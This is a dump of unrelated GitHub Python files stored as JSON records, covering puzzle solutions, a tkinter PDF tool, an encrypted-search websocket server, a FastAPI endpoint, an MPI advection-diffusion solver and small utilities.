string=string+'x'\r\n string=string+'y'\r\n\r\nn = len(string) \r\na = list(string) \r\npermute(a, 0, n-1) \r\ny1=[]\r\nfor k in y:\r\n given=k\r\n ctr=0\r\n f=0\r\n for i in range(len(given)):\r\n if given[i]=='x':\r\n ctr=ctr+1\r\n else:\r\n ctr=ctr-1\r\n if ctr<0:\r\n f=1\r\n break\r\n if f!=1:\r\n y1.append(given)\r\n \r\nprint(y1)\r\n \r\n \r\n \r\n \r\n \r\n","repo_name":"PratikshaDanti/APS","sub_path":"Code Library/3.Generate_possible_dyck_sequences.py","file_name":"3.Generate_possible_dyck_sequences.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31638882297","text":"import tkinter as tk\nfrom tkinter import filedialog\nfrom funtions import *\nfrom ventanas import *\n\ndef docs():\n archivo = filedialog.askopenfilename(filetypes=[(\"PDF Files\", \"*.pdf\")])\n extraer_Docs(archivo)\n\ndef merge():\n archivos = filedialog.askopenfilenames(filetypes=[(\"PDF Files\", \"*.pdf\")])\n unirPDF(archivos)\n\ndef compress():\n archivo = filedialog.askopenfilename(filetypes=[(\"PDF Files\", \"*.pdf\")])\n reducir(archivo)\n\n# Crea una ventana principal\nwindow = tk.Tk()\nwindow.title(\"PDFix\")\nwindow.iconbitmap(\"pdf.ico\")\nwindow.geometry(\"300x300\")\nwindow.resizable(False, False)\nwindow.configure(background=\"#CFE1F7\")\n\n# Agrega botones para cada función\nbtn_extraer_texto = tk.Button(window, text=\"Extraer Texto\", command=ventanaTexto)\nbtn_extraer_texto.pack(expand=True)\n\nbtn_extraer_imagenes = tk.Button(window, text=\"Extraer Imagenes\", command=ventanaImagenes)\nbtn_extraer_imagenes.pack(expand=True)\n\nbtn_extraer_docs = tk.Button(window, text=\"Extraer Documentos\", command=docs)\nbtn_extraer_docs.pack(expand=True)\n\nbtn_encrypt = tk.Button(window, text=\"Encriptar\", command=ventanaEncrypt)\nbtn_encrypt.pack(expand=True)\n\nbtn_encrypt = tk.Button(window, text=\"Desencriptar\", command=ventanaDecrypt)\nbtn_encrypt.pack(expand=True)\n\nbtn_merge = tk.Button(window, text=\"Unir PDFs\", command=merge)\nbtn_merge.pack(expand=True)\n\nbtn_separar = tk.Button(window, text=\"Separar PDF\", command=ventanaSeparar)\nbtn_separar.pack(expand=True)\n\nbtn_stamp = tk.Button(window, text=\"Sellar PDF\", command=ventanaSello)\nbtn_stamp.pack(expand=True)\n\nbtn_watermark = tk.Button(window, text=\"Marca de Agua\", command=ventanaAgua)\nbtn_watermark.pack(expand=True)\n\nbtn_compress = tk.Button(window, text=\"Comprimir PDF\", command=compress)\nbtn_compress.pack(expand=True)\n\n# Ejecuta la interfaz gráfica\nwindow.mainloop()\n","repo_name":"NightMare070/PDFix","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39410265397","text":"# class Product():\n\n# def __init__(self):\n# self.price = 0\n# self.title = \"\"\n# self.description = \"\"\n\n\nclass Product():\n def __init__(self, title):\n self.__title = title\n self.description = \"\"\n\n @property\n def title(self):\n return self.__title\n\n @property\n def price(self):\n try:\n return self.__amount\n except AttributeError:\n return 0\n \n @price.setter\n def price(self, new_price):\n if type(new_price) is float:\n self.__amount = new_price\n else:\n raise TypeError(\"Please provide a floating point value for the price\")\n \n\n# instance of Product class\nkite = Product(\"Kite\")\nkite.price = 14.99\n\n# If the user tries to set price to a value that isn't type float, the code will throw an error\n# kite.price = \"$14.99\"\n\n# User cannot change the value of kite.title after it is initialized. The below code will throw an error\n# kite.title = \"A red kite\"\n\n","repo_name":"nss-day-cohort-38/class-properties","sub_path":"product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15456439395","text":"# -*- coding:utf-8 _*-\n\"\"\" \nLIB-SSE CODE\n@author: Jeza Chen\n@license: GPL-3.0 License\n@file: service.py \n@time: 2022/03/15\n@contact: jeza@vip.qq.com\n@site: \n@software: PyCharm \n@description:\n\n@note: proxy model, state model\n\"\"\"\nimport abc\nimport asyncio\nimport pickle\n\nfrom toolkit.logger.logger import getSSELogger\nfrom websockets.legacy.server import WebSocketServerProtocol\n\nimport frontend.server.services.file_manager as FileManager\nimport schemes\n\nlogger = getSSELogger(\"sse_server\")\n\n\nclass SERVICE_STATE:\n NOT_EXISTS = 0\n CONFIG_UPLOADED_BUT_EDB_NOT_UPLOADED = 1\n ALL_READY = 2\n\n\nclass ServiceState(metaclass=abc.ABCMeta):\n \"\"\"state model, not used currently\"\"\"\n\n def __init__(self):\n self._context = None\n\n @property\n def context(self):\n return self._context\n\n @context.setter\n def context(self, context) -> None:\n self._context = context\n\n @abc.abstractmethod\n def handle_upload_config(self, context, config: dict):\n pass\n\n @abc.abstractmethod\n def handle_upload_encrypted_database(self, context, edb_bytes: bytes):\n pass\n\n @abc.abstractmethod\n def handle_search_request(self, context, token_bytes: bytes):\n pass\n\n @abc.abstractmethod\n def handle_delete_service(self, context):\n pass\n\n\nclass Service:\n def __init__(self, sid, websocket: WebSocketServerProtocol):\n self.sid = sid\n self.websocket = websocket\n\n self.config = None # dict type\n self.config_object = None # SSEConfig type\n\n self.sse_scheme = None\n self.sse_module_loader = None\n self.edb = None\n\n if FileManager.check_sid_folder_exist(sid):\n self.config = FileManager.read_service_config(sid)\n self.service_meta = FileManager.read_service_meta(sid)\n self._load_sse_module()\n self._load_config_object()\n else: # NEW Service\n self.service_meta = {\"state\": SERVICE_STATE.NOT_EXISTS}\n\n self.recv_msg_handler = {\n \"config\": self.handle_upload_config,\n \"upload_edb\": self.handle_upload_encrypted_database,\n \"token\": self.handle_search_token\n }\n\n if self.get_current_service_state() == SERVICE_STATE.ALL_READY:\n # load SSE\n self._load_sse_module()\n\n self.send_init_echo() # Finally, send the echo for initialization message\n logger.info(f\"Serve Service {self.sid}\")\n\n async def start(self):\n await self._recv_message()\n\n def _store_service_meta(self):\n FileManager.write_service_meta(self.sid, self.service_meta)\n\n def _send_message(self, msg_type: str, content: bytes, **additional_field):\n msg_dict = {\n \"type\": msg_type,\n \"sid\": self.sid,\n \"content\": content\n }\n msg_dict.update(additional_field)\n asyncio.create_task(self.websocket.send(pickle.dumps(msg_dict)))\n\n async def _recv_message(self):\n async for message_bytes in self.websocket:\n message_dict = pickle.loads(message_bytes)\n msg_type = message_dict.get(\"type\")\n sid = message_dict.get(\"sid\")\n if msg_type is None or sid is None or sid != self.sid:\n continue\n content_byte = message_dict.get(\"content\")\n self.recv_msg_handler[msg_type](content_byte, message_dict)\n\n def _load_sse_module(self):\n \"\"\"load SSE module by service config.\n service config must have scheme attribute\n \"\"\"\n if self.sse_module_loader is not None:\n return\n\n if self.config is None:\n raise AttributeError(f\"The config of this service {self.sid} is None.\")\n if \"scheme\" not in self.config:\n raise AttributeError(f\"The config of this service {self.sid} does not have 'scheme' attribute.\")\n scheme_name = self.config[\"scheme\"]\n self.sse_module_loader = schemes.load_sse_module(scheme_name)\n logger.info(f\"Load SSE module for service {self.sid} successfully.\")\n\n def _load_config_object(self):\n if self.config_object is not None:\n return\n\n self._load_sse_module()\n self.config_object = self.sse_module_loader.SSEConfig(self.config) # load scheme config ...\n logger.info(f\"Load SSE config for service {self.sid} successfully.\")\n\n def _load_sse_scheme(self):\n \"\"\"load SSE scheme\n @note The SSE module needs to be loaded in advance\n \"\"\"\n if self.sse_scheme is not None:\n return\n\n self._load_sse_module()\n self.sse_scheme = self.sse_module_loader.SSEScheme(self.config) # load scheme construction ...\n logger.info(f\"Load SSE scheme for service {self.sid} successfully.\")\n\n def _load_sse_encrypted_database(self):\n \"\"\"load SSE Encrypted Database\n @note The SSE module needs to be loaded in advance\n \"\"\"\n if self.edb is not None:\n return\n\n self._load_sse_module()\n self._load_config_object()\n\n edb_bytes = FileManager.read_encrypted_database(self.sid)\n EDBClass = self.sse_module_loader.SSEEncryptedDatabase\n self.edb = EDBClass.deserialize(edb_bytes, self.config_object)\n logger.info(f\"Load SSE encrypted database for service {self.sid} successfully.\")\n\n def get_current_service_state(self):\n return self.service_meta[\"state\"]\n\n def send_init_echo(self):\n self._send_message(\"init\", pickle.dumps({\"ok\": True, \"state\": self.get_current_service_state()}))\n logger.info(f\"Send initialization echo of service {self.sid}.\")\n\n def handle_upload_config(self, config_bytes: bytes, raw_msg_dict: dict):\n logger.info(f\"Receive config file from service {self.sid}.\")\n\n if self.get_current_service_state() != SERVICE_STATE.NOT_EXISTS:\n reason = f\"The config of service {self.sid} has been already uploaded.\"\n self._send_message(\"config\", pickle.dumps({\"ok\": False, \"reason\": reason}))\n logger.error(reason)\n raise ValueError(reason)\n\n config = pickle.loads(config_bytes)\n # INIT SERVICE\n FileManager.create_sid_folder(self.sid)\n FileManager.write_service_config(self.sid, config)\n self.config = config\n self.service_meta[\"state\"] = SERVICE_STATE.CONFIG_UPLOADED_BUT_EDB_NOT_UPLOADED\n FileManager.write_service_meta(self.sid, self.service_meta)\n self._send_message(\"config\", pickle.dumps({\"ok\": True}))\n logger.info(f\"Store config for service {self.sid} successfully.\")\n\n def handle_upload_encrypted_database(self, edb_bytes: bytes, raw_msg_dict: dict):\n logger.info(f\"Receive encrypted database from service {self.sid}.\")\n\n if self.get_current_service_state() == SERVICE_STATE.NOT_EXISTS:\n reason = f\"The config of service {self.sid} has not been uploaded.\"\n self._send_message(\"upload_edb\", pickle.dumps({\"ok\": False, \"reason\": reason}))\n logger.error(reason)\n raise ValueError(reason)\n\n if self.get_current_service_state() == SERVICE_STATE.ALL_READY:\n reason = f\"The database of service {self.sid} has been already uploaded.\"\n self._send_message(\"upload_edb\", pickle.dumps({\"ok\": False, \"reason\": reason}))\n logger.error(reason)\n raise ValueError(reason)\n\n FileManager.write_encrypted_database(self.sid, edb_bytes)\n self.service_meta[\"state\"] = SERVICE_STATE.ALL_READY\n FileManager.write_service_meta(self.sid, self.service_meta)\n self._send_message(\"upload_edb\", pickle.dumps({\"ok\": True}))\n logger.info(f\"Store encrypted database for service {self.sid} successfully.\")\n\n def handle_search_token(self, token_bytes: bytes, raw_msg_dict: dict):\n logger.info(f\"Receive search token from service {self.sid}.\")\n\n if self.get_current_service_state() == SERVICE_STATE.NOT_EXISTS:\n reason = f\"The config of service {self.sid} has not been uploaded.\"\n self._send_message(\"result\", pickle.dumps({\"ok\": False, \"reason\": reason}))\n logger.error(reason)\n raise ValueError(reason)\n\n if self.get_current_service_state() == SERVICE_STATE.CONFIG_UPLOADED_BUT_EDB_NOT_UPLOADED:\n reason = f\"The encrypted database of service {self.sid} has not been uploaded.\"\n self._send_message(\"result\", pickle.dumps({\"ok\": False, \"reason\": reason}))\n logger.error(reason)\n raise ValueError(reason)\n\n # Lazy load SSE Scheme and database\n self._load_sse_scheme()\n self._load_sse_encrypted_database()\n\n tk_digest = raw_msg_dict.get(\"token_digest\")\n tk_object = self.sse_module_loader.SSEToken.deserialize(token_bytes, self.config_object)\n result = self.sse_scheme.Search(self.edb, tk_object)\n self._send_message(\"result\", content=result.serialize(), token_digest=tk_digest)\n logger.info(f\"Search for service {self.sid} successfully.\")\n\n def close_service(self):\n self._store_service_meta()\n","repo_name":"JezaChen/SSEPy","sub_path":"frontend/server/services/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":9093,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"31"} +{"seq_id":"40946107452","text":"from collections import Counter\n\ndef checkMagazine(magazine, note):\n\n mag_dict = Counter(magazine)\n note_dict = Counter(note)\n\n for k, v in note_dict.items():\n if k in mag_dict:\n if v > mag_dict[k]: # 대소 비교로 해야함\n return 'No'\n else:\n return 'No'\n return 'Yes'\n\n\n# 다른이의 풀이방법ㅎ 크...\n# Counter와 차집합을 이용!!\ndef ransom_note(magazine, rasom):\n return (Counter(rasom) - Counter(magazine)) == {}\n\n\nif __name__ == '__main__':\n mn = input().split()\n magazine = list(input().split())\n note = list(input().split())\n res = ransom_note(magazine, note)\n print(res)","repo_name":"SooDevv/Algorithm_Training","sub_path":"Hackerrank/Interview Preparation Kit/Dictionaries and Hashmaps/Hash Tables_Random Note.py","file_name":"Hash Tables_Random Note.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"33960231080","text":"if __name__ == '__main__':\n N = int(input())\n\n arr = []\n for _ in range(N):\n command = input().rstrip().split()\n func = command[0]\n args = command[1:]\n if func != 'print':\n eval(f\"arr.{func}({','.join(args)})\")\n else:\n print(arr)\n","repo_name":"HBinhCT/Q-project","sub_path":"hackerrank/Python/Lists/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"33787896400","text":"from typing import Any\n\nfrom fastapi import APIRouter, Depends, HTTPException\nfrom sqlalchemy.orm import Session\n\nfrom app import crud\nfrom app.deps import get_session, get_current_user, get_current_teacher\nfrom app.models import (\n GoalReadWithResources,\n User,\n GoalCreate,\n GoalResourceCreate,\n GoalResourceMultiCreate,\n Role,\n)\n\nrouter = APIRouter()\n\n\n@router.post(\"/\", status_code=201, response_model=GoalReadWithResources)\ndef create_goal(\n *,\n goal_in: GoalCreate,\n current_teacher: User = Depends(get_current_teacher),\n session: Session = Depends(get_session),\n) -> Any:\n \"\"\"Create a goal\"\"\"\n stu_id, grp_id, std_id = (goal_in.student_id, goal_in.group_id, goal_in.standard_id)\n student = crud.user.get(session, stu_id)\n group = crud.group.get(session, grp_id)\n standard = crud.standard.get(session, std_id)\n\n if not student:\n raise HTTPException(404, f\"Student with ID {stu_id} not found\")\n if not group:\n raise HTTPException(404, f\"Group with ID {grp_id} not found\")\n if not standard:\n raise HTTPException(404, f\"Standard with ID {std_id} not found\")\n\n if student.role != Role.student:\n raise HTTPException(422, f\"User with ID {stu_id} is not Student\")\n if current_teacher not in group.users:\n raise HTTPException(401, f\"Teacher is not in Group {grp_id}\")\n if student not in group.users:\n raise HTTPException(401, f\"Student is not in Group {grp_id}\")\n\n goal_in.teacher_id = current_teacher.id\n return crud.goal.create(session, obj_in=goal_in)\n\n\n@router.post(\"/resource-link/\", response_model=GoalReadWithResources)\ndef add_resource_link(\n *,\n goal_resource_in: GoalResourceCreate,\n current_teacher: User = Depends(get_current_teacher),\n session: Session = Depends(get_session),\n) -> Any:\n \"\"\"Link a resource to a teacher's goal. Resource can either belong to\n teacher, or be public\"\"\"\n gid, rid = goal_resource_in.dict().values()\n goal = crud.goal.get(session, goal_resource_in.goal_id)\n resource = crud.resource.get(session, rid)\n if not goal:\n raise HTTPException(404, f\"Goal with ID {gid} not found\")\n if current_teacher != goal.teacher:\n raise HTTPException(401, f\"Not teacher on Goal {gid}\")\n if not resource:\n raise HTTPException(404, f\"Resource with ID {rid} not found\")\n if resource.private and current_teacher != resource.creator:\n raise HTTPException(401, f\"Not creator of private Resource\")\n\n goal.resources.append(resource)\n crud.goal.refresh(session, goal)\n return goal\n\n\n@router.post(\"/resource-link/multi/\", response_model=GoalReadWithResources)\ndef add_resource_link(\n *,\n goal_resources_in: GoalResourceMultiCreate,\n current_teacher: User = Depends(get_current_teacher),\n session: Session = Depends(get_session),\n) -> Any:\n \"\"\"\n Link multiple Resources by ID to a teacher's Goal. If any resources\n requested are not public or created by current logged-in (teacher) user,\n will silently ignore them.\n \"\"\"\n gid, rids = goal_resources_in.goal_id, set(goal_resources_in.resource_ids)\n goal = crud.goal.get(session, gid)\n resources = crud.resource.get_mult_by_ids(session, ids=rids)\n if not goal:\n raise HTTPException(404, f\"Goal with ID {gid} not found\")\n if current_teacher != goal.teacher:\n raise HTTPException(401, f\"Not teacher on Goal {gid}\")\n if not resources:\n raise HTTPException(404, f\"Any Resource with IDs {rids} not found\")\n\n resources = [r for r in resources if r.creator == current_teacher or not r.private]\n goal.resources.extend(resources)\n goal = crud.goal.refresh(session, goal)\n return goal\n\n\n@router.get(\"/{goal_id}\", status_code=200, response_model=GoalReadWithResources)\ndef fetch_goal(\n *,\n goal_id: int,\n current_user: User = Depends(get_current_user),\n session: Session = Depends(get_session),\n) -> Any:\n \"\"\"Fetch a goal by ID\"\"\"\n goal = crud.goal.get(session, goal_id)\n if not goal:\n raise HTTPException(404, f\"Goal with ID {goal_id} not found\")\n if current_user != goal.teacher and current_user != goal.student:\n raise HTTPException(401, f\"Not a member of Goal with ID {goal_id}\")\n return goal\n","repo_name":"jaredkeil/jksa-learning","sub_path":"backend/app/app/controller/endpoints/goal.py","file_name":"goal.py","file_ext":"py","file_size_in_byte":4250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16730791836","text":"import numpy as np\nimport time\nfrom mpi4py import MPI\nfrom tqdm import tqdm\nimport matplotlib\n\n#matplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom scipy.stats import multivariate_normal\n\n# Set the colormap\nplt.rcParams['image.cmap'] = 'BrBG'\n\n# Basic parameters\nN= 128\ndt = 0.01\ntend = 10\n\n\nD = 0.008# Diffusion constant\nL = 2*np.pi # 2pi = one period\ndx = L/N\ndy = dx # equidistant\ndx2 = dx ** 2\ndy2 = dy ** 2\nr = dt * D / (dx ** 2)\nassert (0 < 2 * r <= 0.5),('N too high. Reduce time step to uphold stability')\ntimesteps = int(np.ceil(tend/dt))\nimage_interval = timesteps*0.01 # Write frequency for png files\n\nx = np.arange(0, N, 1) * L / N\ny = np.arange(0, N, 1) * L / N\n[X, Y] = np.meshgrid(x, y)\n\n\nfig, axs = plt.subplots(2)\nfig.suptitle('Title here')\n\n\n# For stability, this is the largest interval possible\n# for the size of the time-step:\n# dt = dx2*dy2 / ( 2*D*(dx2+dy2) )\n\n\n# MPI globals\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\nsize = comm.Get_size()\n\n# Up/down neighbouring MPI ranks\nup = rank - 1\nif up < 0:\n up = size-1\ndown = rank + 1\nif down > size - 1:\n down = 0\n\n\ndef evolve(sol_new, sol,u,v, D, dt, dx2, dy2):\n \"\"\"Explicit time evolution.\n u: new temperature field\n u_previous: previous field\n a: diffusion constant\n dt: time step\n dx2: grid spacing squared, i.e. dx^2\n dy2: -- \"\" -- , i.e. dy^2\"\"\"\n # LEFT boundary\n\n sol_new[1:-1, 0] = sol[1:-1, 0] \\\n + (dt*u[1:-1,0]) / (2*dx) * (sol[:-2, 0] - sol[2:, 0]) \\\n + (dt*v[1:-1,0]) / (2*dx) * (sol[1:-1, -1] - sol[1:-1, 1]) \\\n + r * (sol[2:, 0] - 2 * sol[1:-1, 0] + sol[:-2, 0]) \\\n + r * (sol[1:-1, 1] - 2 * sol[1:-1, 0] + sol[1:-1, -1])\n #INNER points\n sol_new[1:-1, 1:-1] = sol[1:-1, 1:-1] \\\n + (dt*u[1:-1,1:-1]) / (2*dx) * (sol[:-2,1:-1] - sol[2:,1:-1]) \\\n + (dt*v[1:-1,1:-1]) / (2*dx) * (sol[1:-1,:-2] - sol[1:-1,2:]) \\\n + r * (sol[2:, 1:-1] - 2 * sol[1:-1, 1:-1] + sol[:-2, 1:-1]) \\\n + r * (sol[1:-1, 2:] - 2 * sol[1:-1, 1:-1] + sol[1:-1, :-2])\n #RIGHT boundary\n sol_new[1:-1, -1] = sol[1:-1, -1] \\\n + (dt*u[1:-1,-1]) / (2*dx) * (sol[:-2, -1] - sol[2:, -1]) \\\n + (dt*v[1:-1,-1]) / (2*dx) * (sol[1:-1, -2] - sol[1:-1, 0]) \\\n + r * (sol[2:, -1] - 2 * sol[1:-1, -1] + sol[:-2, -1]) \\\n + r * (sol[1:-1, 0] - 2 * sol[1:-1, -1] + sol[1:-1, -2])\n\n #Update next time step\n sol[:] = sol_new[:]\n #sol[:] = sol[:]/(np.sum(sol[:])) #cheat with mass conservation. Assume uniform loss over each cell\n\ndef init_fields(X,Y):\n # Read the initial temperature field from file\n #field = np.loadtxt(filename)\n #field0 = field.copy() # Array for field of previous time step\n pos = np.dstack((X, Y))\n mu = np.array([2, 3])\n cov = np.array([[.05, .010], [.010, .05]])\n rv = multivariate_normal(mu, cov)\n S = rv.pdf(pos)\n field = S.copy() / (np.sum(S))\n field0 = field.copy()\n\n\n #A = 0.1\n #omega = 1\n #epsilon = 0.25\n #u = -np.pi*A*np.sin(np.pi*(1)*X)*np.cos(np.pi*Y)\n #v = -np.pi*A*np.cos(np.pi*(1)*X)*np.sin(np.pi*Y)*(1-2*epsilon)\n\n u = np.sin(1*X) * np.cos(1*Y)*0.1\n v = np.cos(1*X) * np.cos(1*Y)*0.1\n # u = np.random.rand(N, N)*1\n # v = np.random.rand(N, N)*1\n #u = np.ones((N,N))*1\n #v = np.ones((N,N))*1\n cu = dt * np.max(u) / dx\n cv = dt * np.max(v) / dx\n assert (((cu ** 2) / r) + ((cv ** 2) / r) <= 2), ('dt might be too high or diffusion constant might be too low')\n\n return field, field0, u,v\n\n\ndef write_field(field, step):\n plt.gca().clear()\n plt.imshow(field,cmap='jet')\n plt.axis('off')\n plt.savefig('heat_{0:03d}.png'.format(step))\n\n\ndef exchange(field):\n # send down, receive from up\n sbuf = field[-2, :]\n rbuf = field[0, :]\n comm.Sendrecv(sbuf, dest=down, recvbuf=rbuf, source=up)\n # send up, receive from down\n sbuf = field[1, :]\n rbuf = field[-1, :]\n comm.Sendrecv(sbuf, dest=up, recvbuf=rbuf, source=down)\n\n\ndef iterate(field,u,v, local_field, local_field0,local_u,local_v, timesteps, image_interval):\n step = 1\n pbar = tqdm(total=int(timesteps))\n for m in range(1, timesteps + 1):\n exchange(local_field0)\n evolve(local_field, local_field0,local_u,local_v ,D, dt, dx2, dy2)\n step += 1\n pbar.update(1)\n if m % image_interval == 0:\n comm.Gather(local_field[1:-1, :], field, root=0)\n comm.Gather(local_u[1:-1, :], u, root=0)\n comm.Gather(local_v[1:-1, :], v, root=0)\n if rank == 0:\n #write_field(field, m)\n #plt.imshow(field.T,cmap='jet')\n axs[0].imshow(field, cmap='jet') # ,vmax=1,vmin=0)\n axs[1].imshow((v), cmap='jet')\n #plt.show()\n plt.pause(0.05)\n\n\n\ndef main():\n # Read and scatter the initial temperature field\n if rank == 0:\n field, field0,u,v = init_fields(X,Y)\n shape = field.shape\n dtype = field.dtype\n comm.bcast(shape, 0) # broadcast dimensions\n comm.bcast(dtype, 0) # broadcast data type\n else:\n field = None\n u = None\n v = None\n shape = comm.bcast(None, 0)\n dtype = comm.bcast(None, 0)\n if shape[0] % size:\n raise ValueError('Number of rows in the field (' \\\n + str(shape[0]) + ') needs to be divisible by the number ' \\\n + 'of MPI tasks (' + str(size) + ').')\n n = int(shape[0] / size) # number of rows for each MPI task\n m = shape[1] # number of columns in the field\n buff = np.zeros((n, m), dtype)\n comm.Scatter(field, buff, 0) # scatter the data\n local_field = np.zeros((n + 2, m), dtype) # need two ghost rows!\n local_field[1:-1, :] = buff # copy data to non-ghost rows\n local_field0 = np.zeros_like(local_field) # array for previous time step\n\n comm.Scatter(u, buff, 0) # scatter the data\n local_u = np.zeros((n + 2, m), dtype) # need two ghost rows!\n local_u[1:-1, :] = buff # copy data to non-ghost rows\n\n comm.Scatter(v, buff, 0) # scatter the data\n local_v = np.zeros((n + 2, m), dtype) # need two ghost rows!\n local_v[1:-1, :] = buff # copy data to non-ghost rows\n\n\n # Fix outer boundary ghost layers to account for aperiodicity?\n '''\n if True:\n if rank == 0:\n local_field[0, :] =local_field[1, :]\n if rank == size - 1:\n local_field[-1, :] = local_field[-2, :]\n '''\n local_field0[:] = local_field[:]\n\n # Plot/save initial field\n #if rank == 0:\n #write_field(field, 0)\n # Iterate\n t0 = time.time()\n iterate(field,u,v, local_field, local_field0,local_u,local_v, timesteps, image_interval)\n t1 = time.time()\n # Plot/save final field\n comm.Gather(local_field[1:-1, :], field, root=0)\n if rank == 0:\n write_field(field, timesteps)\n print(\"Running time: {0}\".format(t1 - t0))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"danielhalvorsen/Project_Turbulence_Modelling","sub_path":"2D/Advection/2D_Advection_parallell.py","file_name":"2D_Advection_parallell.py","file_ext":"py","file_size_in_byte":7225,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"16406227200","text":"from collections import deque\nn,m,v = map(int, input().split())\ngraph = [[0]*(n+1) for _ in range(n+1)]\nvisit = [0] * (n+1) # 정점 방문 확인\n\nfor i in range(m):\n a,b = map(int, input().split())\n graph[a][b] = 1\n graph[b][a] = 1\n# print(graph) \n\ndef dfs(v):\n visit[v] = 1 # 방문처리\n print(v, end=' ')\n for i in range(1,n+1):\n # v와 연겱된 정점\n if graph[v][i] == 1 and visit[i] == 0:\n dfs(i)\ndfs(v)\n","repo_name":"choijaehoon1/backjoon","sub_path":"dfs_bfs/test01_02.py","file_name":"test01_02.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72460951127","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\n\n\ndef print_employees(names):\n is_are = 'is' if len(names) == 1 else 'are'\n s = '' if len(names) == 1 else 's'\n print(f\"There {is_are} {len(names)} employee{s}:\")\n for name in names:\n print(name)\n\n\nnames = []\nfilename = sys.argv[1]\nwith open(filename) as fp:\n line = fp.readline().strip()\n while line:\n if line != \"\":\n names += [line]\n line = fp.readline().strip()\n\nprint_employees(names)\n\ndel_name = input(\"Enter an employee name to remove: \")\nupdated_names = []\nfor name in names:\n if name != del_name:\n updated_names += [name]\n\nprint_employees(updated_names)\n\nwith open(filename, \"w\") as fp:\n for name in updated_names:\n fp.write(name + \"\\n\")\n","repo_name":"e0en/57_exercises","sub_path":"python/34_delete_employee.py","file_name":"34_delete_employee.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"19651069288","text":"import PIL\nfrom PIL import Image\ndirec = input(\"Image file directory:\")\nim = Image.open(direc)\nprint(\"Select method:\\n 1.Pixels per frame \\n2.Frames count \\n \")\nsx,sy = im.size\nmethod = input()\nIndividualF = 1\nFrameLength = 1\nif method==\"1\":\n\tFrameLength = int(input(\"Pixels per Frame : \"))\n\tIndividualF = sx/int(FrameLength)\nelif method==\"2\":\n\tIndividualF = int(input(\"Frames : \"))\n\tFrameLength = sx/int(IndividualF)\n\nFrameLength = int(FrameLength)\nIndividualF = int(IndividualF)\n\nFrames = []\nfor x in range(IndividualF):\n\tbox = (x*FrameLength, 0, (x*FrameLength)+FrameLength, sy)\n\tfrm = im.crop(box)\n\tFrames.append(frm)\n\nfps = int(input(\"Input FPS : \"))\ndur = 1/fps\nFrames[0].save(\"SpSheet.gif\",save_all=True,append_images=Frames[1:],optimize=False, duration=dur, loop=0)\n","repo_name":"Fjyetto/UsefulToolsIWrote","sub_path":"Gif tools/spritesheettogif.py","file_name":"spritesheettogif.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17585036306","text":"# -*- coding: utf-8 -*-\nimport click\nimport logging\nfrom pathlib import Path\nfrom dotenv import find_dotenv, load_dotenv\nimport shutil\n\nimport os\nimport codecs\nimport re\nimport pathlib\nimport tarfile\nimport os.path\n\n# raw data dirs\nRAW_DATA_DIR = \"./data/raw/\"\nRAW_SCRAPE_DATA_DIR = RAW_DATA_DIR + \"data/\"\nRAW_ZOMBIE_SCRAPE_DATA_DIR = RAW_DATA_DIR + \"data_zombie/\"\n\n# processed data dirs\nPROCESSED_DATA_DIR = \"./data/processed/\"\nPROCESSED_SCRAPE_DATA_DIR = PROCESSED_DATA_DIR + \"data/\"\nPROCESSED_ZOMBIE_SCRAPE_DATA_DIR = PROCESSED_DATA_DIR + \"data_zombie/\"\n\nDATA_COMBINED = \"./data/processed/data_combined/\"\n\ndef deleteDir(path):\n try:\n shutil.rmtree(path)\n except:\n print(\"error deleting \"+path)\n\ndef deleteFile(filePath):\n try:\n os.remove(filePath)\n print(\"rm file: \"+file_path)\n except:\n print(\"maybe error removing: \" + filePath)\n\ndef writeTextToFile(text, path, fileName):\n try:\n os.makedirs(path, exist_ok=True)\n f = codecs.open(path+fileName, \"w\", \"utf-8\")\n f.write(text)\n f.close()\n except:\n print(\"failed to write: \"+fileName)\n\ndef readTextFromFile(fileName):\n try:\n f = open(fileName, 'r')\n text = f.read()\n return text\n except:\n print(\"failed to read: \" + fileName)\n return \"\"\n\n\n\ndef excludeTokensFromFile(filename):\n\n excludedTokens = [ \"(Reuters)\",\n \"copyright Reuters\",\n \"Reuters Image\",\n \"REUTERS/\",\n \"Vox\"\n ]\n\n text = readTextFromFile(filename)\n print(\"-----------------------------\")\n print(\"stripping undesired tokens from: \"+filename)\n #print(\"BEFORE: \" + text)\n\n for token in excludedTokens:\n text = re.sub('\\stoken\\s', '', text)\n\n text = re.sub('[\\r\\n\\t]', '', text)\n #print(\"AFTER: \" + text)\n return text\n\ndef excludeTokensFromFiles(raw_dir, processed_dir):\n print(\"processing raw files: \"+raw_dir)\n print(\"writing to: \"+processed_dir)\n rawPosDir = raw_dir + \"pos/\"\n rawNegDir = raw_dir + \"neg/\"\n processedPosDir = processed_dir + \"pos/\"\n processedNegDir = processed_dir + \"neg/\"\n\n posCount = 0\n for fileName in os.listdir(rawPosDir):\n text = 